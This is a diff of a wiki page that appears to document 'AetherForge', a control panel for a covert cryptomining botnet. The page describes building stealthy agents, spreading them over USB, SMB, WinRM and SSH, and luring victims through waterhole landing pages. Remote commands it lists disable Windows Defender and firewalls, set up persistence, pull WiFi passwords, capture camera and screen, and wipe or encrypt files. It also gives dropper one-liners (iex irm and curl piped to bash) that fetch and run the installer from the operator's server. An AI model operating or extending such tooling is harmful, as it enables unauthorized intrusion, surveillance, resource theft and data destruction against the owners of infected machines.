<li><a href="#platform-matrix">Platform Matrix</a></li>
<li><a href="#alerts-ai">Alerts &amp; AI</a></li>
<li><a href="#security-auth">Security &amp; Auth</a></li>
<li><a href="#usb-portable">USB Portable Deck</a></li>
<li><a href="#api-reference">API Reference</a></li>
<li><a href="#security-auth">Security</a></li>
<li><a href="#usb-portable">USB Portable</a></li>
<li><a href="#api-reference">API</a></li>
<li><a href="#troubleshooting">Troubleshooting</a></li>
<li><a href="#problems">Known Limits</a></li>
</ul>
@@ -182,6 +189,52 @@ bin\miner-server.exe -port 8989 -data .\data</code></pre>
</ul>
<div class="wiki-screenshot">[Screenshot: Dashboard fleet health + contribution map]</div>
<h3>Command deck route guide</h3>
<table class="wiki-table">
<thead><tr><th>Route</th><th>Nav label</th><th>Primary use</th></tr></thead>
<tbody>
<tr><td><code>/dashboard</code></td><td>Command Deck</td><td>Fleet health, hashrate, topology map, install funnel, audit strip</td></tr>
<tr><td><code>/agents</code></td><td>Fleet Roster</td><td>Per-machine detail, remote actions, groups, protocol tunnels</td></tr>
<tr><td><code>/crucible</code></td><td>Crucible</td><td>Batch remote terminal, expanded ops, file manager, gold rain overlay</td></tr>
<tr><td><code>/forge</code></td><td>Forge</td><td>Full builder — preflight, fusion, blueprints, operation modes</td></tr>
<tr><td><code>/mission-deck</code></td><td>Mission Deck</td><td>Fast path — preset loadout → one-click forge + export + clipboard links</td></tr>
<tr><td><code>/builds</code></td><td>Builds</td><td>Download, pin, public toggle, dropper one-liners, re-forge</td></tr>
<tr><td><code>/emberwake</code></td><td>Emberwake</td><td>Campaign War Room, spread-kit export, supply-chain wizards</td></tr>
<tr><td><code>/settings</code></td><td>Calibrate</td><td>Pool, alerts, users, fleet policy, staged modules, tunnels</td></tr>
<tr><td><code>/pathtracer</code></td><td>Path Tracer</td><td>Multi-hop WireGuard chain builder + QR config</td></tr>
<tr><td><code>/docs/</code></td><td>Field docs</td><td>This wiki — searchable; HelpTips link here</td></tr>
<tr><td><code>/spread/</code></td><td>Static spread kit</td><td>Public waterhole landing (no login) — see <a href="/spread/">/spread/</a></td></tr>
</tbody>
</table>
<p><code>/builder</code> and <code>/spread</code> redirect to <code>/forge</code> and <code>/emberwake</code>.</p>
<h3>How to read the Command Deck</h3>
<p>
The top row is your fast triage layer. <strong>Fleet Hash</strong> is the 15-minute rolling aggregate,
<strong>Est. Daily</strong> combines the live hashrate estimate with the current XMR price cache,
<strong>Accept</strong> highlights share quality, and <strong>Nodes Live</strong> tells you immediately
whether a bad pool day is really a connectivity day.
</p>
<p>
Below that, <strong>Fleet Health</strong> is the composite score to trust when the page is busy. It blends
online percentage, accept rate, pool state, and current fleet behavior into one number, then colors the card
green / amber / red. Treat it as the dashboard's summary judgment, then use the supporting panels to see why
the score moved.
</p>
<h3>Overview vs Advanced mode</h3>
<table class="wiki-table">
<thead><tr><th>Mode</th><th>Purpose</th><th>Extra panels</th></tr></thead>
<tbody>
<tr><td>Overview</td><td>Fast status scan</td><td>Core health, key metrics, roster, topology, share pulse</td></tr>
<tr><td>Advanced</td><td>Deep operator session</td><td>AI activity, share log, matrix overlay, full chart stack</td></tr>
</tbody>
</table>
<p>
Advanced mode is persisted in browser storage. It is intended for an operator who is staying in the deck for
a while, not for a quick hallway check. When chart noise gets in the way, switch back to Overview.
</p>
<h3>Fleet Roster (Agents)</h3>
<ul>
<li>Compact rows — click to expand inline details and remote action strip</li>
@@ -193,10 +246,15 @@ bin\miner-server.exe -port 8989 -data .\data</code></pre>
<h3>Crucible (Command Terminal)</h3>
<p>
Select one or many agents (or a Fleet Group). Send raw commands, PowerShell, or preset ops. Output streams
to the terminal in real time. Gold rain overlay activates when a single agent is selected. Expanded ops
include firewall suite, UPnP, mesh status, fleet upgrade, registry panel, SMB shares, spread status,
credential vault list (names only), secure wipe, and port-forward matrix.
Route <code>/crucible</code> — select one or many agents (or a Fleet Group). Send raw commands, PowerShell,
or preset tactical ops; output streams to the terminal in real time. Gold rain overlay activates when a single
agent is selected. Tabs: <strong>Ops</strong>, <strong>Recon</strong>, <strong>Files</strong> (File Manager),
<strong>Spread</strong>, <strong>Tunnels</strong>. Full command reference:
<a href="#crucible-ops">Crucible Commands</a>.
</p>
<p>
<strong>File Manager</strong> (single online node): <code>list_dir</code>, <code>read_file</code> (512 KB cap),
upload, download, path breadcrumbs — cross-platform. Requires online WebSocket (not beacon-only).
</p>
<h3>Emberwake</h3>
@@ -221,6 +279,115 @@ bin\miner-server.exe -port 8989 -data .\data</code></pre>
<li>Cloudflare tunnel token, tunnel defaults</li>
<li><code>public_builds_enabled</code> — expose all builds on unauthenticated public API</li>
</ul>
<h3>Dashboard operating rhythm</h3>
<ol>
<li>Open <strong>Dashboard</strong> first and check Fleet Health, Nodes Live, and Accept.</li>
<li>If health is amber/red, inspect pool status and the underperformer list before touching config.</li>
<li>Open <strong>Agents</strong> only after the dashboard tells you which machines need attention.</li>
<li>Use <strong>Builds</strong> to verify what is currently pinned before forging anything new.</li>
<li>Use <strong>Calibrate</strong> for durable defaults; use Forge only for build-specific overrides.</li>
</ol>
</section>
<!-- 3b. Crucible Commands -->
<section id="crucible-ops">
<h2>Crucible Commands — Agent Reference</h2>
<p>
All commands dispatch via <code>POST /api/v1/agents/{id}/command</code> or
<code>POST /api/v1/agents/bulk-command</code>. Aggressive ops require
<code>remote_aggressive</code> baked or staged at runtime. Capabilities gate UI buttons — re-forge or push
<strong>Crucible Ops</strong> module pack if disabled.
</p>
<h3>Mining &amp; lifecycle</h3>
<table class="wiki-table">
<thead><tr><th>Command</th><th>Purpose</th><th>Platforms</th><th>Status</th></tr></thead>
<tbody>
<tr><td><code>pause</code> / <code>resume</code> / <code>restart</code></td><td>Miner control</td><td>All</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td><code>stop</code> / <code>kill</code></td><td>Terminate agent process</td><td>All</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td><code>uninstall</code></td><td>Remove persistence + binary</td><td>All</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td><code>upgrade</code></td><td>Download + replace from build URL</td><td>All</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td><code>fetch_module</code></td><td>Stage signed runtime pack</td><td>All</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td><code>bof_execute</code></td><td>In-memory BOF</td><td></td><td><span class="wiki-status disabled">Disabled</span> — always errors</td></tr>
</tbody>
</table>
<h3>System &amp; power</h3>
<table class="wiki-table">
<thead><tr><th>Command</th><th>Purpose</th><th>Platforms</th><th>Status</th></tr></thead>
<tbody>
<tr><td><code>reboot_machine</code> / <code>shutdown_machine</code></td><td>Power control</td><td>All</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td><code>reboot</code> / <code>shutdown</code></td><td>Legacy aliases</td><td>All</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td>Wake-on-LAN</td><td><code>POST /api/v1/agents/{id}/wol</code> — UDP magic packet</td><td>Server → agent MAC</td><td><span class="wiki-status working">Working</span> (offline OK)</td></tr>
<tr><td><code>exec</code> / <code>powershell</code></td><td>Shell (hidden window)</td><td>Win / Unix sh</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td><code>get_log</code></td><td>Tail agent log</td><td>All</td><td><span class="wiki-status working">Working</span></td></tr>
</tbody>
</table>
<h3>Recon &amp; posture</h3>
<table class="wiki-table">
<thead><tr><th>Command</th><th>Purpose</th><th>Status</th></tr></thead>
<tbody>
<tr><td><code>sysinfo</code></td><td>Hostname, OS, CPU, RAM, uptime</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td><code>full_sys_check</code></td><td>AV, firewall, disk, DNS, ports, CISA KEV exposure</td><td><span class="wiki-status working">Working</span> — KEV block Windows-focused</td></tr>
<tr><td><code>ps</code> / <code>netstat</code> / <code>users</code> / <code>software</code></td><td>Process / network / user inventory</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td><code>listen_ports</code> / <code>patch_status</code></td><td>Open ports + patch level</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td><code>posture</code></td><td>Firewall + AV summary</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td><code>connectivity_probe</code></td><td>DNS + TCP to C2 and pool</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td><code>arp_neighbors</code></td><td>ARP cache IPs (spread targeting)</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td><code>persistence_audit</code></td><td>Run keys / tasks / systemd / launchd JSON</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td><code>screenshot</code></td><td>Desktop JPEG (live view polls 3s)</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td><code>camera_list</code> / <code>camera_snapshot</code></td><td>USB camera capture</td><td><span class="wiki-status partial">Partial</span> — macOS stub; needs ffmpeg</td></tr>
<tr><td><code>ipconfig</code> / <code>wifi</code> / <code>clipboard</code></td><td>Network / WiFi / clipboard</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td><code>kill_process</code></td><td>Kill PID (<code>command</code> field)</td><td><span class="wiki-status working">Working</span></td></tr>
</tbody>
</table>
<h3>Files</h3>
<table class="wiki-table">
<thead><tr><th>Command</th><th>Purpose</th><th>Guards</th></tr></thead>
<tbody>
<tr><td><code>list_dir</code> / <code>read_file</code></td><td>Remote browse + read (512 KB cap)</td><td>System-root guards</td></tr>
<tr><td><code>upload</code> / <code>download</code></td><td>Transfer files</td><td>Auth via dashboard</td></tr>
<tr><td><code>push_desktop</code></td><td>Deploy to <code>@desktop/</code></td><td></td></tr>
<tr><td><code>delete_path</code> / <code>move_path</code></td><td>File ops</td><td>No dirs / system roots</td></tr>
<tr><td><code>secure_wipe</code></td><td>Overwrite-then-delete folder</td><td>Confirm in UI; aggressive</td></tr>
</tbody>
</table>
<h3>Network, spread &amp; tunnels</h3>
<table class="wiki-table">
<thead><tr><th>Command</th><th>Purpose</th><th>Status</th></tr></thead>
<tbody>
<tr><td><code>spread_now</code></td><td>Trigger LAN spread sweep</td><td><span class="wiki-status windows">Windows/Linux</span> — SMB WinRM / SSH</td></tr>
<tr><td><code>spread_status</code></td><td>Last sweep in-memory JSON</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td><code>subnet_scan</code></td><td>Active subnet discovery</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td><code>smb_shares</code></td><td>ARP/subnet → <code>net view</code> JSON</td><td><span class="wiki-status windows">Windows-only</span></td></tr>
<tr><td><code>hole_punch*</code></td><td>UPnP IGD port map</td><td><span class="wiki-status working">Working</span> — needs <code>hole_punch</code> forge flag</td></tr>
<tr><td><code>tunnel_cloudflared</code></td><td>Outbound Cloudflare tunnel</td><td><span class="wiki-status windows">Windows agent</span> — server launcher Win-only</td></tr>
<tr><td><code>tunnel_ssh_forward</code></td><td>SSH local forward matrix</td><td><span class="wiki-status windows">Windows</span></td></tr>
<tr><td><code>tunnel_wireguard</code> / <code>wg_*</code></td><td>WireGuard setup (Path Tracer)</td><td><span class="wiki-status windows">Windows</span> — Linux/macOS agent stub</td></tr>
<tr><td><code>tunnel_status</code> / <code>tunnel_stop</code></td><td>Query / stop tunnels</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td><code>tunnel_stream</code></td><td>TCP reverse relay over WS</td><td><span class="wiki-status disabled">Not implemented</span></td></tr>
<tr><td><code>mesh_status</code></td><td>P2P peer count</td><td><span class="wiki-status partial">Stub</span> without <code>-tags p2p</code></td></tr>
</tbody>
</table>
<h3>Firewall, persistence &amp; registry (aggressive)</h3>
<table class="wiki-table">
<thead><tr><th>Command</th><th>Notes</th><th>Status</th></tr></thead>
<tbody>
<tr><td><code>firewall_punch</code> / <code>firewall_off</code> / <code>firewall_on</code></td><td>netsh / ufw / iptables</td><td><span class="wiki-status working">Working</span> — macOS firewall stub</td></tr>
<tr><td><code>firewall_profiles</code> / <code>firewall_remove</code></td><td>Profile toggles + rule cleanup</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td><code>defender_off</code></td><td>Windows Defender disable attempt</td><td><span class="wiki-status windows">Windows-only</span></td></tr>
<tr><td><code>bits_persist</code> / <code>host_binary_persist</code></td><td>BITS job / host-binary hijack</td><td><span class="wiki-status windows">Windows-only</span></td></tr>
<tr><td><code>registry_read</code> / <code>write</code> / <code>delete</code></td><td>Allowlisted hives</td><td><span class="wiki-status windows">Windows-only</span></td></tr>
<tr><td><code>credential_vault_list</code></td><td>Credential Manager / Keychain / secret-tool names</td><td><span class="wiki-status working">Working</span> — names only</td></tr>
<tr><td><code>get_wifi_passwords</code></td><td>Saved WiFi profiles</td><td><span class="wiki-status windows">Windows-focused</span></td></tr>
<tr><td><code>encrypt_path</code> / <code>sys_crypt</code></td><td>Path encryption ops</td><td><span class="wiki-status working">Working</span> — confirm in UI</td></tr>
</tbody>
</table>
</section>
<!-- 4. Forge -->
@@ -249,6 +416,53 @@ bin\miner-server.exe -port 8989 -data .\data</code></pre>
</tbody>
</table>
<h3>Builder workflow from blank form to archived artifact</h3>
<ol>
<li><strong>Choose the target profile.</strong> Start with one OS/arch unless you specifically need a multi-platform ZIP.</li>
<li><strong>Set the runtime identity.</strong> Worker name, server URL, and output directory are the fields that shape how the build is tracked later.</li>
<li><strong>Review defaults from Calibrate.</strong> The builder inherits server-side defaults; only override fields that truly differ for this build.</li>
<li><strong>Run preflight mentally before compile.</strong> Confirm output path, signing configuration, and any packaging choices.</li>
<li><strong>Compile once, then archive the result.</strong> Every successful build is copied into <code>data/builds/{build-id}/</code> so the Build Manager becomes the source of truth.</li>
</ol>
<h3>Builder field families</h3>
<table class="wiki-table">
<thead><tr><th>Family</th><th>What it controls</th><th>Where it shows up later</th></tr></thead>
<tbody>
<tr><td>Identity</td><td>Worker name, build naming, archive labels</td><td>Build Manager, agent cards, audit log, install funnel</td></tr>
<tr><td>Target</td><td>OS, architecture, output type</td><td>Artifact file names, launcher scripts, compatibility checks</td></tr>
<tr><td>Connectivity</td><td>Server URL and fallback URLs</td><td>Install instructions, QR codes, download links, runtime connection path</td></tr>
<tr><td>Packaging</td><td>Universal ZIP, spread-kit export, fusion packaging</td><td>Artifact archive, download endpoints, size estimates</td></tr>
<tr><td>Signing</td><td>Thumbprint, timestamp URL, signing tool path</td><td>Post-build artifact treatment and estimate notes</td></tr>
<tr><td>Blueprints</td><td>Saved form presets</td><td>Re-forge flow, repeatable operator workflows</td></tr>
</tbody>
</table>
<h3>Blueprint discipline</h3>
<p>
Blueprints are most useful when you treat them like named operating recipes, not casual snapshots. Good
examples are per-campus defaults, per-lab output conventions, or per-platform release templates. The reason
the UI asks for confirmation before re-forge is that a saved blueprint often represents a real rollout shape,
not just a draft.
</p>
<h3>Build Manager relationship</h3>
<p>
The Builder creates artifacts. The Build Manager is where those artifacts become operational inventory.
After compile, use the Build Manager to confirm the build is present, decide whether it should be pinned for
install helpers, and verify the archive contains the expected download set. If the Builder is your workshop,
Build Manager is your release shelf.
</p>
<h3>Safe operator checklist before pressing build</h3>
<ul>
<li>Use a reachable <code>server_url</code>; prefer the actual LAN or public endpoint instead of localhost.</li>
<li>Keep output names predictable so archived builds are readable weeks later.</li>
<li>Use single-platform builds for quick iteration; use universal output only when distribution really needs it.</li>
<li>Confirm signing inputs before compile if the environment expects signed artifacts.</li>
<li>After compile, verify the artifact in Build Manager instead of trusting only the toast or progress state.</li>
</ul>
<h3>Forge simple mode — spread profile chips</h3>
<ul>
<li><strong>Web Drop</strong> — dropper landing + install scripts</li>
@@ -280,6 +494,106 @@ bin\miner-server.exe -port 8989 -data .\data</code></pre>
<h3>Cancel in-flight compile</h3>
<pre><code>DELETE /api/v1/builder/cancel/{token}</code></pre>
<h3>Operation modes (Forge skins)</h3>
<p>Forge and Mission Deck share six baked presets — each sets stealth, spread, fusion, and garble flags:</p>
<table class="wiki-table">
<thead><tr><th>Mode</th><th>Intent</th><th>Status</th></tr></thead>
<tbody>
<tr><td>Ghost Walk</td><td>Stealth, garble, no spread — quiet LAN worker</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td>Open Flame</td><td>Visible console + file logs — lab debugging</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td>Sigil Mask</td><td>Prep fusion + garble + sigil scramble</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td>Hearth Whisper</td><td>Idle mining, persistence, no aggressive ops</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td>Wildfire</td><td>USB + LAN spread + remote aggressive</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td>Crucible Storm</td><td>Remote aggressive + mesh + hole punch</td><td><span class="wiki-status partial">Partial</span> — mesh needs <code>-tags p2p</code> re-forge</td></tr>
</tbody>
</table>
<h3>Path Forge</h3>
<p>
<code>POST /api/v1/builder/path-forge</code> walks a server-side directory and drops OS launchers next to every
file (hint file excluded from placement count). Mac targets require <code>server_url</code> at forge time.
Output uses <code>/api/download/agent-*</code> at runtime. <strong>Working</strong> on Windows server; validate
paths before batch runs.
</p>
</section>
<!-- 4b. Mission Deck -->
<section id="mission-deck">
<h2>Mission Deck</h2>
<p>
Route <code>/mission-deck</code> — the <strong>fast path</strong> when you already know the rough shape of
the deployment: pick Ghost / Loud / Spread, optionally layer a spread profile, set campaign slug and identity
fields, then <strong>Equip &amp; Strike</strong> once. The page forges the agent, exports a spread-kit ZIP
when the loadout requires it. Copy install one-liners from <strong>Builds</strong> when the run finishes.
</p>
<p>
<strong>When to use which:</strong> Mission Deck = preset loadout + one-click pipeline. Forge
(<code>/forge</code>) = every build option (fusion batches, blueprints, stealth tuning). Emberwake
(<code>/emberwake</code>) = tag links, export lure kits, and read campaign funnels — forge the agent on Mission
Deck or Forge first. Builds (<code>/builds</code>) = download artifacts, pin the dropper, and copy pinned
one-liners anytime.
</p>
<h3>Automated pipeline (3 steps)</h3>
<ol>
<li><strong>Apply loadout presets</strong> — operation chip + spread profile + worker, server URL, wallet</li>
<li><strong>Build agent installer</strong><code>POST /api/v1/builder/build</code> with presets applied</li>
<li><strong>Package spread-kit ZIP</strong><code>POST /api/v1/builder/spread-kit-export</code> when spread profile demands it; then open <strong>Builds</strong> for install one-liners</li>
</ol>
<h3>Operation chips</h3>
<table class="wiki-table">
<thead><tr><th>Chip</th><th>Maps to</th><th>Use when</th></tr></thead>
<tbody>
<tr><td>Ghost</td><td>Ghost Walk</td><td>Stealth home-lab worker, no spread</td></tr>
<tr><td>Loud</td><td>Open Flame</td><td>Debugging — visible logs</td></tr>
<tr><td>Spread</td><td>Wildfire + spread profile</td><td>USB/LAN propagation wave</td></tr>
</tbody>
</table>
<h3>Spread profile chips</h3>
<ul>
<li><strong>Web Drop</strong> — dropper + install scripts (default campaign slug)</li>
<li><strong>Desktop Fusion</strong> — prep or movie fusion packaging</li>
<li><strong>LAN Kindling</strong> — SMB / SSH lateral spread flags</li>
<li><strong>Crucible Ops</strong><code>remote_aggressive</code> for dashboard tunnels and firewall suite</li>
</ul>
<p>Presence avatars (“Also Here”) show other logged-in operators on the same page via WebSocket presence.</p>
</section>
<!-- 4c. Build Manager -->
<section id="build-manager">
<h2>Build Manager</h2>
<p>
Route <code>/builds</code> — operational inventory for every forged artifact. The Builder creates; Build
Manager tracks what is pinned, public, and ready for dropper one-liners.
</p>
<h3>Per-build actions</h3>
<table class="wiki-table">
<thead><tr><th>Action</th><th>API / behaviour</th><th>Status</th></tr></thead>
<tbody>
<tr><td>Download exe / ZIP</td><td><code>GET /api/v1/builds/{id}/download</code></td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td>Download artifact</td><td><code>GET /api/v1/builds/{id}/artifact/{name}</code></td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td>Uninstall script</td><td><code>GET /api/v1/builds/{id}/uninstall</code></td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td>Pin build</td><td><code>PUT /api/v1/builds/{id}/pin</code> — dropper serves pinned binary</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td>Public toggle</td><td><code>PUT /api/v1/builds/{id}/public</code> — login drawer + public API</td><td><span class="wiki-status working">Working</span> (wired 2026-06-06)</td></tr>
<tr><td>Re-forge</td><td>Pre-fills Forge form; confirmation required</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td>Delete record</td><td><code>DELETE /api/v1/builds/{id}</code> — DB only; archive file may remain</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td>LAN QR</td><td>Encodes worker download URL for mobile scan</td><td><span class="wiki-status working">Working</span></td></tr>
</tbody>
</table>
<h3>Dropper behaviour</h3>
<ul>
<li><strong>Pinned:</strong> <code>/get</code>, <code>/install.ps1</code>, <code>/install.sh</code> always serve the pinned build</li>
<li><strong>Unpinned:</strong> most recently forged build wins</li>
<li><strong>Public builds:</strong> <code>GET /api/v1/public/builds</code> lists pinned + public-flagged + latest 3 (or all when <code>public_builds_enabled</code>)</li>
</ul>
<pre><code>iex (irm 'http://YOUR-DECK:8989/install.ps1')
curl -sL http://YOUR-DECK:8989/install.sh | bash
http://YOUR-DECK:8989/get?pin={build_id}&amp;c=campaign-slug</code></pre>
</section>
<!-- 5. Spread & Campaigns -->
@@ -294,7 +608,9 @@ bin\miner-server.exe -port 8989 -data .\data</code></pre>
<p>
Modern browsers block silent drive-by execution — users must click download and run. AetherForge maps to
authorized lab patterns: first-party install docs, spread-kit landers, fusion bundles, and email→lander→pinned
build chains. See also <a href="SPREAD_TECHNIQUES.md">SPREAD_TECHNIQUES.md</a> for the full technique matrix.
build chains. Step-by-step playbooks: <a href="SPREAD_TECHNIQUES.html">Spread Techniques</a>
(tabbed) · research matrix: <a href="SPREAD_TECHNIQUES.md">SPREAD_TECHNIQUES.md</a>.
Operator UI: <a href="/emberwake">Emberwake</a>.
</p>
<h3>Dropper endpoints (unauthenticated)</h3>
@@ -465,23 +781,7 @@ https://your.site/get?pin={build_id}&amp;c=docs</code></pre>
launch is typically a single UAC prompt (Windows) for persistence and firewall rules.
</p>
<h3>Platform matrix</h3>
<table class="wiki-table">
<thead><tr><th>Feature</th><th>Windows</th><th>Linux</th><th>macOS</th></tr></thead>
<tbody>
<tr><td>RandomX CPU mining</td><td></td><td></td><td></td></tr>
<tr><td>GPU RVN (T-Rex / TRM)</td><td></td><td>stub</td><td>stub</td></tr>
<tr><td>Screenshot</td><td>✅ GDI+</td><td>✅ scrot/import</td><td>✅ screencapture</td></tr>
<tr><td>Camera</td><td>✅ ffmpeg</td><td>✅ V4L2/ffmpeg</td><td>stub</td></tr>
<tr><td>File browser (Crucible)</td><td></td><td></td><td></td></tr>
<tr><td>USB / WMI spread</td><td></td><td></td><td></td></tr>
<tr><td>SMB / WinRM spread</td><td></td><td></td><td></td></tr>
<tr><td>SSH lateral spread</td><td></td><td></td><td></td></tr>
<tr><td>Firewall aggressive ops</td><td>✅ netsh</td><td>✅ ufw/iptables</td><td>stub</td></tr>
<tr><td>Persistence</td><td>Task + registry</td><td>systemd user</td><td>LaunchAgent</td></tr>
<tr><td>Install base</td><td>%LOCALAPPDATA%</td><td>XDG data home</td><td>~/Library/Application Support</td></tr>
</tbody>
</table>
<p>Full cross-platform matrix: <a href="#platform-matrix">Platform Matrix</a>.</p>
<h3>Staged modules (runtime feature packs)</h3>
<p>
@@ -575,6 +875,45 @@ https://your.site/get?pin={build_id}&amp;c=docs</code></pre>
go run ./cmd/mine-validate -seconds 20 -threads 2</code></pre>
</section>
<!-- 7b. Platform Matrix -->
<section id="platform-matrix">
<h2>Platform Matrix</h2>
<p>Accurate feature parity across worker OS targets. Status labels match code audit (<code>PROBLEMS.md</code>).</p>
<table class="wiki-table">
<thead><tr><th>Feature</th><th>Windows</th><th>Linux</th><th>macOS</th></tr></thead>
<tbody>
<tr><td>RandomX CPU mining</td><td><span class="wiki-status working">Working</span></td><td><span class="wiki-status working">Working</span></td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td>GPU RVN (T-Rex / TRM)</td><td><span class="wiki-status working">Working</span></td><td><span class="wiki-status stub">Stub</span> — detects GPU, downloads Win .exe</td><td><span class="wiki-status stub">Stub</span></td></tr>
<tr><td>Idle schedule guard</td><td><span class="wiki-status working">Working</span></td><td><span class="wiki-status working">Working</span> — /proc/stat</td><td><span class="wiki-status working">Working</span> — sysctl</td></tr>
<tr><td>Screenshot</td><td><span class="wiki-status working">Working</span> GDI+</td><td><span class="wiki-status working">Working</span> scrot/import</td><td><span class="wiki-status working">Working</span> screencapture</td></tr>
<tr><td>Camera</td><td><span class="wiki-status working">Working</span> ffmpeg</td><td><span class="wiki-status working">Working</span> V4L2</td><td><span class="wiki-status stub">Stub</span></td></tr>
<tr><td>File browser (Crucible)</td><td><span class="wiki-status working">Working</span></td><td><span class="wiki-status working">Working</span></td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td>USB / WMI spread</td><td><span class="wiki-status working">Working</span></td><td></td><td></td></tr>
<tr><td>SMB / WinRM spread</td><td><span class="wiki-status working">Working</span></td><td></td><td></td></tr>
<tr><td>SSH lateral spread</td><td></td><td><span class="wiki-status working">Working</span></td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td>Firewall aggressive ops</td><td><span class="wiki-status working">Working</span> netsh</td><td><span class="wiki-status working">Working</span> ufw/iptables</td><td><span class="wiki-status stub">Stub</span></td></tr>
<tr><td>KEV exposure scan</td><td><span class="wiki-status working">Working</span></td><td><span class="wiki-status stub">n/a</span></td><td><span class="wiki-status stub">n/a</span></td></tr>
<tr><td>Path Tracer <code>wg_setup</code></td><td><span class="wiki-status working">Working</span></td><td><span class="wiki-status stub">Stub</span></td><td><span class="wiki-status stub">Stub</span></td></tr>
<tr><td>Mesh P2P (<code>mesh_status</code>)</td><td><span class="wiki-status partial">Needs -tags p2p</span></td><td>same</td><td>same</td></tr>
<tr><td>Persistence</td><td>Task + registry</td><td>systemd user</td><td>LaunchAgent</td></tr>
<tr><td>Install base</td><td>%LOCALAPPDATA%</td><td>XDG data home</td><td>~/Library/Application Support</td></tr>
<tr><td>HTTPS beacon fallback</td><td><span class="wiki-status working">Working</span></td><td><span class="wiki-status working">Working</span></td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td>Docker E2E agent</td><td></td><td><span class="wiki-status working">Working</span> — see <code>docker/README.md</code></td><td></td></tr>
</tbody>
</table>
<h3>Control server (operator PC)</h3>
<table class="wiki-table">
<thead><tr><th>Feature</th><th>Windows</th><th>Linux</th></tr></thead>
<tbody>
<tr><td>Forge / compile agents</td><td><span class="wiki-status working">Working</span></td><td><span class="wiki-status working">Working</span> — cross-compile</td></tr>
<tr><td>cloudflared auto-launch</td><td><span class="wiki-status working">Working</span></td><td><span class="wiki-status stub">Stub</span> — manual tunnel</td></tr>
<tr><td>Authenticode signing</td><td><span class="wiki-status working">Working</span> signtool</td><td><span class="wiki-status working">Working</span> osslsigncode</td></tr>
</tbody>
</table>
</section>
<!-- 8. Alerts & AI -->
<section id="alerts-ai">
<h2>Alerts &amp; AI (Ollama)</h2>
@@ -613,6 +952,107 @@ go run ./cmd/mine-validate -seconds 20 -threads 2</code></pre>
</div>
</section>
<!-- 8b. Calibrate -->
<section id="calibrate">
<h2>Calibrate (Settings)</h2>
<p>
Route <code>/settings</code> — server-side defaults and fleet policy. Changes here affect <strong>new</strong>
Forge forms and live server behaviour; already-forged agents keep baked settings until re-forged (except
fleet policy push and staged modules).
</p>
<h3>Core server</h3>
<table class="wiki-table">
<thead><tr><th>Setting</th><th>Purpose</th><th>Status</th></tr></thead>
<tbody>
<tr><td>Listen port / data dir</td><td>Default <code>8989</code>, <code>data/</code></td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td>Public URL</td><td>LAN/tunnel URL for Forge + droppers</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td>Dashboard subtitle</td><td>Hero text on Command Deck</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td>Default wallet / pool</td><td>Seeds new Forge forms only</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td><code>public_builds_enabled</code></td><td>Expose all builds on public API</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td><code>max_agents</code></td><td>Reject WS auth when fleet full</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td><code>max_build_size_mb</code></td><td>Forge API size guard</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td><code>strict_wallet_validation</code></td><td>Server-side wallet check on forge</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td><code>stats_retention_hours</code> / <code>build_retention_days</code></td><td>Auto-purge jobs (6h)</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td><code>websocket_ping_seconds</code></td><td>WS hub ping interval</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td><code>pool_reconnect_seconds</code></td><td>Stratum proxy reconnect delay</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td><code>log_agent_connections</code> / <code>log_share_submissions</code></td><td>WS hub logging</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td><code>log_pool_traffic</code></td><td>Verbose Stratum wire log</td><td><span class="wiki-status working">Working</span></td></tr>
<tr><td>Open firewall on start</td><td>Inbound rule for listen port</td><td><span class="wiki-status windows">Windows server</span></td></tr>
</tbody>
</table>
<h3>Fleet alerts &amp; tasks</h3>
<ul>
<li><strong>Fleet Alerts</strong> — offline minutes, hashrate drop %, rejection %; evaluator enforces thresholds</li>
<li><strong>Telegram + SMTP</strong> — per-event matrix; <code>POST /api/v1/alerts/test</code></li>
<li><strong>KEV exposure notify</strong> — optional ping on critical Full Sys Check indicators</li>
<li><strong>Fleet Tasks</strong><code>on_connect</code>, <code>on_reconnect</code>, <code>interval_hours</code>, daily <code>cron</code> (<code>HH:MM</code>)</li>
